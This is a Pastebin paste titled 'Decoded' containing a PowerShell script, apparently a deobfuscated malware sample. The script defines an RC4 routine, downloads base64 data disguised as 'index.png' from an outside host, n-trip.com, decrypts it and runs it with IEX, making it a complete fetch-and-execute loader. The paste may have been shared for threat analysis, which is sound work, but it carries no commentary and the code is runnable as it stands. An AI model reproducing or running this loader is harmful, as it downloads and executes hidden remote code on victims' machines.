James_inthe_box

Decoded

Nov 14th, 2019
582
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.33 KB | None | 0 0
  1. function rc4{
  2. param([byte[]] $data, [byte[]]$key)
  3. [Byte[]]$buf = New-Object Byte[] $data.Length
  4. $data.CopyTo($buf, 0)
  5. [Byte[]]$s = New-Object Byte[] 256;
  6. [Byte[]]$k = New-Object Byte[] 256;
  7. for($i=0; $i -lt 256; $i++)
  8. {
  9. $s[$i] = [Byte]$i;
  10. $k[$i] = $key[$i % $key.Length]
  11. }
  12. $j = 0;
  13. for($i=0; $i -lt 256; $i++)
  14. {
  15. $j = ($j + $s[$i] + $k[$i]) % 256;
  16. $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp;
  17. }
  18. $i=0; $j=0;
  19. for($x=0; $x -lt $buf.Length; $x++)
  20. {
  21. $i = ($i+1) % 256;
  22. $j = ($j+$s[$i]) % 256;
  23. $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp;
  24. [int]$t = ($s[$i]+$s[$j]) %256;
  25. $buf[$x] = $buf[$x] -bxor $s[$t];
  26. }
  27. return $buf
  28. }
  29. function Decrypt{
  30. Param([Byte[]]$data_in)
  31. if($data_in.Length -le 16)
  32. {
  33. return $false;
  34. }
  35. $data_out = (rc4 $data_in[16..$data_in.Length] $data_in[0..15])
  36. return $data_out
  37. }
  38.  
  39. $url = "https://n-trip.com/index.png?$(Get-Random)"
  40. $o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", $url, $False); $o.Send();
  41. $data_arr = [Convert]::FromBase64String($o.responseText)
  42. $data_b = Decrypt($data_arr)
  43. $data_str = [System.Text.Encoding]::ASCII.GetString($data_b)
  44. IEX $data_str;
Add Comment
Please, Sign In to add comment